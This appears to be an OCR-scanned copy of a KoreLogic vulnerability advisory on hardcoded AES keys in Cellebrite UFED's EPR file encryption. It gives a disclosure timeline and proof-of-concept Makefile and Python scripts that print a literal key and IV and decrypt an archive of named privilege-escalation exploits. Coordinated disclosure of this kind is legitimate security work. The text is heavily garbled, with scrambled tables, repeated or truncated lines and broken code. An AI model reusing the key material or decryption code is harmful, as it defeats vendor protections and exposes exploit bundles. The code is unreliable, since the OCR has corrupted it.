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Cellebrite EPR Decryption Hardcoded AES Key Material

The Cellebrite UFED Physical device relies on key material hardcoded within both the executable code supporting the decryption process and within the encrypted files themselves by using a key enveloping technique. The recovered key material is the same for every device running the same version of the software and does not appear to be changed with each new build. It is possible to reconstruct the decryption process

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SHA-256 | 8e1693c954c2b9222de10e46717620d6631dc916f4d2bd744336668d271dbc33

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KL-001-2020-003 : Cel	lebrite EPR Decry	ption Relies or	n Hardcoded Al	ES Key Mate	rial	
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1. Vulnerability Deta:						
Affected Vendor: Affected Product Affected Version Platform: Embedde CWE Classification CVE ID: CVE-2020	: UFED : 5.0 - 7.5.0.845 ed Windows on: CWE-321: Hard	coded Use of C:	ryptography Ke	èys		
2. Vulnerability Desc:	ription					
hardcoded within decryption proces using a key envel is the same for a the software and build. It is poss	loping technique. every device runn does not appear sible to reconstr ded key material	ble code support encrypted file The recovered ing the same vet to be changed out the decrypt	rting the es themselves key material ersion of with each new tion process	by		
3. Technical Descript:	ion					
A recursive list:	ing of my standal	one decryptor	directory:			
\$ find .						
./decrypt-epr ./input ./input/DLLs ./input/DLLs/7: ./input/DLs/7: ./input/EPRs	31 31/FileUnpacking.	dll				
./input/EPRs/7: ./input/EPRs/7: ./output ./output/EPRs ./output/EPRs/	31/Android.zip.ep	r				
./extract-keys ./Makefile						
(See the Proof o	E Concept section	for relevant	code snippets	.)		
relevant FileUnp	by running the ex acking.dll file. ' tput the relevant the DLL resides.	The provided Ma	akefile will			
64+0 records in 64+0 records or			npacking.dll			
32+0 records in 32+0 records on 32 bytes copies 636+0 records:	n it 1, 0.000116104 s, in					
636+0 records of 636 bytes copie Finished	ed, 0.00140342 s,	453 kB/s				
iterates over the	script contains a bytes of the fi DRD. The calculated when found the series are series.	le provided cre ed hash is com	eating a SHA2! pared against	56		
Now a selected E: Android.zip.epr: escalation explo:	file, which conta its.	ins a set of lo	ocal privilege	÷		
[+] The EPR fi:	rverbosefil- le specified exis ied EPR file has :	ts.		o.epr		
[-] Decrypter : [+] Round one	setup with key 1 of the EPR decryp	for version 3 tion completed	successfully			
[+] The SHA256	that the flag wi key flag has bee		ED]			
[+] The SHA256	flag: [REDACTED] key flag has been setup with key 2					
[+] Round two	of the EPR decryp REDACTED], IV: [R	tion completed	successfully	. Obtained	the final AES key and	IV.
[-] Decrypter : [-] Finished de	setup with key 3 : ecrypting all blo	for version 3 cks.				
[-] Wrote 2552	tes to: input/EPR 640 bytes to a br e of the EPR decr	oken file.			rypted zip archive ha	ıs been
[-] Running: z: /dev/null 2>&1		/731/Android.z	ip.epr.broken	out inpu	t/EPRs/731/Android.zi	p.epr.zip >
[-] Removing tl [+] Decrypted : [+] done.	ne broken file. File available at	output/EPRs/7	31/Android.zip	o.epr.zip		
The decrypted fi	le can then be un	zipped.				
inflating: ci	oid.zip.epr.zip 2a_disable_selinu 2a_disable_selinu om.mr.meeseeks.ap	x 64.ko				
inflating: de inflating: de inflating: de	irtycow					
inflating: D: inflating: d	isableHuaweiLoggi jango 2.1.5767a	_				
inflating: En	nableHuaweiLoggin nableSharpRead_2.	g_2.1.5767a 1.5767a				

```
inflating: exploits 2.1.5769.csv
inflating: forensics
inflating: fourrunnerStatic_2.1.5767a
inflating: pb_2.1.5767a
inflating: nandde
inflating: nanddeadf=ple-vold
inflating: nanddeadf=ple-vold
inflating: nanddeadf=ple-vold
inflating: nanddeadf=ple-vold
inflating: panddeadf=ple-vold
inflating: pingtoot
inflating: petcher.csc
inflating: peneuter_2.1.5767a
inflating: peneuter_2.1.5767a
inflating: rootspoter.epsh
inflating: rootspoter.epsh
inflating: rootspoter.epsh
inflating: secure_2.1.5767a
                        The encryption algorithm uses a software-only key enveloping technique where part of the key material is stored within executable code and part within e encrypted header inside of the encrypted file. The encrypted header is extracted from the encrypted file and decrypted using key material hardcoded within executable code.
                        Some of the bytes decrypted then undergo a XOR operation to calculate the last DWORD of a SHAZ56 hash. Separately, a set 7.25 bytes is iterated over using 64 bytes per iteration. J complete SHAZ56 hash is generated for each set of 64-bytes and the ending DWORD of this hash is then compared against the calculated DWORD. If there is a match the bytes used to calculate the DWORD are the next set of key matchial.
                         The decryption tool outputs the following match:
                                  [-] Calculated that the flag will be: [REDACTED][+] The SHA256 key flag has been calculated.[-] Found the flag: [REDACTED]
                        The last DWORD matches. In fact there are a total of eight possible intermediate keys that can be chosen from based on the bytes observed.
                        A third and final key exists within each encrypted file
header. This key is decrypted using the hardcoded intermediate
key used for encrypted the selected file. From here bytes 0x80
through the end of the file are decrypted in blocks of 0x10000.
   4. Mitigation and Remediation Recommendation
                        The vendor has informed Korelogic that this vulnerability is not present on recent versions of the UFED devices. Cellebrite stated, "Minit the method described in the reports does not work on recent versions (we previously made multiple changes that broke it), the core key material was exposed and will be rotated effective immediately."
 5. Credit
                        This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.
 6. Disclosure Timeline
                    Disclosure Timeline

2020.04.02 - KoreLogic submits vulnerability details to
Cellebrite.

2020.04.02 - Cellebrite acknowledges receipt and the intention
to investigate.

2020.05.13 - KoreLogic requests an update on the status of the
vulnerability report.

2020.05.14 - Callebrite acknowledges proteifying KoreLogic that the
Callebrite report applicable to never UFED releases.
Requesta time beyond the standard 45 business day
embargo to ensure all exposed keys have been changed.

2020.06.09 - 45 business days have elapsed since the report was
submitted to Cellebrite.

2020.06.14 - Cellebrite reports that affected key material has
been retired.

2020.06.18 - CVE Requested.

2020.06.18 - MITEE issues CVE-2020-14474.

2020.06.29 - KoreLogic public disclosure.
     7. Proof of Concept
                      File Name: Makefile
                                clean:
for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name
      for filepath in 'find in

*.map' -o

-name '*.zip'; do \

    rm -rf $$filepath ; \

    done
                                     gfor filepath in 'find input/DLIs -type f -name '*.dll' '; do \
    echo Extracting AES keys from SSfilepath; \
    ./extract-keys --file SSfilepath > SSfilepath.keys; \
    ./extract-keys --file SSfilepath > SSfilepath.keys; \
    if [ -f 'SSfilepath'; then \
    dd ba=1 if-SSfilepath.keys count-64 of-SSfilepath.aes; \
    dd ba=1 if-SSfilepath.keys count-32 skip-64 of-SSfilepath.iv; \
    dd ba=1 if-SSfilepath.keys skip-96 of-SSfilepath.sap; \
    else \
    if \
   if \
    if \
    if \
    if \
    if \
    if \
    if \
    if
                         Script Name: extract-keys
                                  #!/usr/bin/python
from optparse import OptionParser
from os.path import exists, basename
from binascii import hexlify
from hashlib import sha256
from os import makedirs
                               already "."
public information
"lw":"888c609edc9eb9dfb4d30dfebc9f0431"
%**ra://qithub.com/cellebrited/cellebrite
                                              },
# UFED 7.3
"FileUnpacking.dll":[
.
                                                            "offsets":{
                                                                                  irsets::(
"aes":(
"keyisah":"(REDACTED)",  # sha256 hash of first dword
"lvSlre":16,
"lvSlre":16,
"vWash":"(REDACTED)"  # sha256 hash of first dword
                                                                               "mapSize":256,
"mapHash":"[REDACTED]" # sha256 hash of first dword
                                if __name__ == "__main__":
    parser = OptionParser()
    parser.ado_option("--file",dest="file",default='',help="Decryptor DLL")
    o,a = parser.parse_args()
    if (exists(o,file) != True):
        print "[!] The specified file does not exist"
        exi(1)
```

Spoof (2,166) SUSE (1,444) SQL Injection (16,102) Ubuntu (8,199) TCP (2.379) UNIX (9 159) Trojan (686) UnixWare (185) UDP (876) Windows (6,511) Other Virus (662) Vulnerability (31,136) Web (9,365) Whitepaper (3,729) x86 (946) XSS (17 494)

Other

```
foundKey = True
aesKey = hexlify(fileData[pos:pos+32])
print "[4] Found key at {}. Value: {}".format(hex(pos),aesKey)
if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"]
  and not foundIV):
                                                          foundIV = True aesIV = hexlify(fileData[pos:pos+16]) print "+] Found IV at {}1. Value: {}1".format(hex(pos),aesIV) print "+] Found IV at {}1. Value: {}1".format(hex(pos),aesIV) print "+] ** (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i] ["offsets"]["mapHash"] and not
                          p):

foundMap = True

aesMap = hexiffy[fileData[pos:pos*keyMap[basename(o.file)][i]["offsets"]["mapHash"];

print "(+) Found map at (). Value: ()".format(hex(pos),aesMap)

if (best Mey and foundIV and foundMap):

post=1

except Exception as e:

print "(!) Could not read the specified file. Reason: ()".format(e)

exit()
   foundMap):
                Script Name: decrypt-epr
                      All var bin'gython
from logging handlers import TimedRotatingFileHandler
from logging handlers import OptionParser
from oppares import OptionParser
from os.path import exists, getsize, dirname, realpath
from os.path import so as path_join
from os import system, remove
from shitli import move
from binisci import undexify, hexlify
from hashili import shaps
from binascii import undexify, hexlify
from hashili import sha236
import sys
                          import sys
import logging
                       logging.basicConfig(
format="%(asctime)s | %(levelname)s| %(message)s",
level-logging.INFO,
handlers=[
    TimedRotatingFileHandler(
    path_join(
    dirname(realpath(_file_)),
    "logger.log",
    ),
}
                                            ),
interval=1,
                                     ),
logging.StreamHandler(sys.stdout),
                        logger = logging.getLogger(__name__)
                        bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
                      class EFR:

def _init__(self, file, version, verbose):
    self.epr_vi_aea_key = "0e282e124bb8af5335777e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already
  public information self.epr_vl_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"
                             information
                                    ef read_entire_file(self):
try:
    fp = open(self.file, 'rb')
    self.encrypted_file = fp.read()
    fp.close()
    except Exception as e:
        logger.error("() Encountered an exception. Reason: ()".format(e))
    return False
    for flat_decrypt(self):
    self.encrypted_magic = self.encrypted_file(:21)
    if self.encrypted_magic(:-2) = "Cellebrite FER File"):
        self.encrypted_per = self.encrypted_file(21:)
    if self.encrypted_per = self.encrypted_file(21:)
    if self.version == 1:
        crypter = AES.new(unbexlify(self.epr.vl_aes_key),AES.MODE_CBC,unbexlify(self.epr_vl_aes_iv))
    if self.logging; logger.info("(-) Decrypter setup with key 1 for version
    (self.version)

  elf.version))

try:

self.decrypted_epr = crypter.decrypt(self.encrypted_epr)

if self.version == 2:

self.epr_v2_ese_iv_two = hexlify(self.decrypted_epr[32:48])
elif self.version == 3:

self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
else:

pass

except Exception as e:
logger.error("[1] Encountered an exception. Reason: {}".format(e))
return False

return True
return False
return Tate
return Tate
return Tate

for Calc sha256_dword(self):

try:

to_xor_a = hexilify(self.decrypted_epr[24:28])

to_xor_a = (to_xor_a[i:1:2] for i in range(0, len(to_xor_a), 2))

to_xor_b = (to_xor_a[i:1:2] for i in range(0, len(to_xor_b), 2))

to_xor_b = (to_xor_a[i:1:2] for i in range(0, len(to_xor_b), 2))

xor_b = (to_xor_b[i:1:2] for i in range(0, len(to_xor_b), 2))

xor_b = (to_xor_b[i:1:2] for i in range(0, len(to_xor_b), 2))

xor_b = (to_xor_b[i:1:2], 1)

xor_b = (to_xor_b[i:1], 1)

xor_b
```

```
for i in range(0, len(self.epr_v2 aes map), 64):
    hash = sha256(unhexlify(self.epr_v2 aes map[i:i+64])).hexdigest()
    if (hash.endswith(self.epr_v2 sha256 flag)):
    if self.logging: logger.info("[-] Found the flag: {}]*.format(self.epr_v2_sha256_flag))
    found = True
    self.epr_v2_aes_key_two = self.epr_v2_ees_map[i:i+64]
    leat.
                                                                       .se:
for i in range(0, len(self.epr_v3_aes_map), 64):
hash = sha25f(unhexlify(self.epr_v3_aes_map), 64):
if (hash.endswith(self.epr_v3_sha256_flag)):
if self.logging: logger.info("(-) Found the flag: ()".format(self.epr_v3_sha256_flag))
                                                   found = True self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64] return found def decrypt_key(self):
                                                               try:
if (self.version == 2):
      The complete and the co
    else:
crypter =
AES.new(unbexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unbexlify(self.epr_v3_aes_iv_three))
if self.loging: logger.info("[-] AES Key: (), TV:
()".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
if self.loginging logger.info("[-] Decrypter setup with key 3 for version []".format(self.version))
self.encrypted.epr = self.encrypted.epr[128:]
for pos in range(0, len(self.encrypted.epr_, 65356):
decryptPart = self.encrypted.epr[pos:pos+65356]
try:
                                                     Lef zip_F(self):

if self.logqfng: logqer.info("{-} Running: zip -FF {}).broken --out {}).zip > /dev/null

axt(self.file,self.file))

system("zip -FF {}).broken --out {}).zip > /dev/null 2>61".format(self.file,self.file))

return True

lef finish(self):

if self.loggding: logger.info("{-} Removing the broken file.")

remove("{}).broken".format(self.file))

remove("{}).broken".format(self.file))

logger.info("{-} Removing the broken file.")

remove("{}).broken".format(self.file))

logger.info("{-} Removing the broken file.")

remove("{}).broken".format(self.file)

logger.info("{-} Removing the broken file.")

remove("{}).broken".format(self.file)

remove("{}).broken".format
        if
2>&1".format(
                                      def main():
    parser = OptionParser()
    parser = OptionParser()
    parser.add_option("--file",dest="file",default=False,help="ERR File Path")
    parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="")
                                                 parser.add.option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
o,a = parser.parse_args()
o.version = int(o.version)
oper = EFR(o.file,o.version),o.verbose)
                                                 if not epr.file exists():

|coner.info("[!] Unable to find the encrypted EPR file specified.")
                                              if not epr.file_exists():
logger.infor("|| Unable to find the encrypted EFR file specified.")
return False
logger.infor("|| The EFR file specified exists.")
if not epr.can_read_file():
logger.infor("|| The EFR file specified exists.")
if not epr.can_read_file():
logger.infor("|| Unable to open a file object to the encrypted EFR file.")
return False
if not epr.read_entire_file():
logger.infor("|| Unable to read the encrypted EFR file.")
return False
logger.infor("|| The specified EFR file has been read into memory.")
logger.infor("|| Dable to run the initial decryption process.".format(o.version))
if oper.infor("|| Dable to run the initial decryption round.")
return False
logger.infor("|| Dable to run the initial decryption completed successfully.")
if not epr.calc_sha256 devor(d):
logger.infor("|| Unable to calculate the SHA256 key flag, ")
return False
if o.verbose: logger.infor("|| The SHA256 key flag has been calculated.")
if not epr.key_map_check():
logger.infor("|| Unable to find a AES key match.")
return False
if o.verbose: logger.info("|| The SHA256 key flag has been found.")
if not epr.decrypt key()
logger.infor("|| Could not decrypt the final AES key.")
logger.infor("|| Could not decrypt the final AES key.")
                                                   logger.info("[1] Could not decrypt the final AES key.") return False logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key
                                              )
if not epr.decrypt_epr():
logger.info("[:] Unable to decrypt the EPR file.")
return False
logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive
   ioggs...
has been
decrypted.")
if not epr.zip_FF():
    logger.info("f[1] Could not clean up garbage.")
    return False
    return True
                                  if _name__ == "_main__":
    success = main()
    if success:
    logger.info("[+] done")
    else:
    logger.info("[!] failed")
    exit(success)
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